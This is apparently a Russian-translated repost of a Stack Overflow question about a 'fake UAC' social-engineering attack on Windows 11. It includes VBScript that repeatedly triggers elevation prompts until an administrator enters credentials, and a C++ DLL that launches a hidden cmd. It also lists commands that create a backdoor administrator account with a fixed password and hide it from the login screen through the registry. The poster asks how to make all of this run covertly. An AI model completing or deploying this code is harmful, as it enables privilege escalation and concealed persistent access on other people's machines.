(https://github.com/ebolaman- Yt/uac-bypass/tree/main/fakeuac)
tl; dw Это атака социальной инженерии. Я запускаю main.vbs, который непрерывно спамит подсказку UAC до тех пор, пока не будет введен пароль администратора. Когда мы получаем привилегии администратора, выполняются следующие команды: < /p>
Код: Выделить всё
net user defaultuser0 Pa$$wd /add
net localgroup administrators defaultuser0 /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v defaultuser0 /t REG_DWORD /d 0 /f
start /min
Код: Выделить всё
Dim objFSO, objFile, strScriptPath, strCurrentDir
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile(WScript.ScriptFullName)
strScriptPath = objFile.ParentFolder.Path
strCurrentDir = objFSO.GetAbsolutePathName(strScriptPath)
Set objShell = CreateObject("Shell.Application")
Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
objShell.ShellExecute "rundll32.exe", strCurrentDir & "\Repair.dll,Repair", "", "runas", 1
'Do
' objShell.ShellExecute "rundll32.exe", strCurrentDir & "\Repair.dll,Repair", "", "runas", 1
' Set colProcesses = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name='cmd.exe'")
' For Each objProcess in colProcesses
' Exit Do
' Next
'Loop
Это код Repair.cpp:
Код: Выделить всё
#include
__declspec( dllexport ) void CALLBACK Repair(
HWND hwnd,
HINSTANCE hinst,
LPSTR lpszCmdLine,
int nCmdShow);
void CALLBACK Repair(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
// Run the cmd minimized
ShellExecuteW(nullptr, L"open", L"cmd.exe", L"/min", nullptr, SW_HIDE);
}
Я компилирую его с помощью: g++ -shared -o Repair.dll .\ Repair.cpp "-Wl,--subsystem,windows"
Проблема:
Когда я запускаю main.vbs и подтверждаю приглашение UAC, ничего не происходит.
Когда я запустите Repair.dll вручную rundll32.exe Repair.dll,Repair Я получаю сообщение об ошибке:
Отсутствует запись: Восстановить
Окружающая среда:
Я работаю в Windows 11 и компилирую это в vscode с помощью компилятора Msys2 g++.
Цель:
Запустить все вышеупомянутые команды скрыто (как фоновый процесс или что-то в этом роде), а затем запустить свернутый cmd (который будет на уровне системы).
Я не являюсь экспертом ни в Winapi, ни в работе с dll, поэтому объясните, как мне этого добиться, какой формат мне следует использовать...
Спасибо за помощь.
Подробнее здесь: https://stackoverflow.com/questions/793 ... ot-running
Мобильная версия